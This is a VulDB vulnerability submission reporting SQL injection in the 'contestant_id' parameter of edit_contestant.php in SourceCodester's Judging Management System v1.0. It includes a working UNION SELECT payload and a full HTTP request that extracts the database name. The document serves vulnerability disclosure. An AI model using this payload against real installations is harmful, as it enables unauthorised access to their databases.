Soumettre #114855: Judging Management System v1.0 by oretnom23 has SQL injection

Judging Management System v1.0 by oretnom23 has SQL injection, vulnerability file is sql injection caused by / php-jms/edit_contestant.php?sub_event_id=1&se_name=&contestant_id=, due to non-filtering of id parameters

# Judging Management System v1.0 by oretnom23 has SQL injection

BUG_Author: zhengyiqun

vendors: https://www.sourcecodester.com/php/15910/judging-management-system-using-php-and-mysql-free-source-code.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /php-jms/edit_contestant.php?sub_event_id=1&se_name=&contestant_id=

Vulnerability location: /php-jms/edit_contestant.php?sub_event_id=1&se_name=&contestant_id=, contestant_id

dbname =jms_db

[+] Payload: /php-jms/edit_contestant.php?sub_event_id=1&se_name=&contestant_id=-1%27%20union%20select%201,database(),3,4,5,6,7,8--+ // Leak place ---> contestant_id

```sql
GET /php-jms/edit_contestant.php?sub_event_id=1&se_name=&contestant_id=-1%27%20union%20select%201,database(),3,4,5,6,7,8--+ HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=f6bhcgo222sk31fnm99nf9tjt1
Connection: close
```


• La source: ⚠️ https://github.com/hackerzyq/mycve/blob/main/vendors/oretnom23/judging-management-system/SQLi-1.md
• Utilisateur: zhengyiqun (UID 45053)
• Soumission: 16/04/2023 06:45 (il y a 3 ans)
• Modérer: 16/04/2023 09:11 (2 hours later)
• Statut: Accepté
• Entrée VulDB: 226147 [SourceCodester Judging Management System 1.0 edit_contestant.php contestant_id injection SQL]
• Points: 20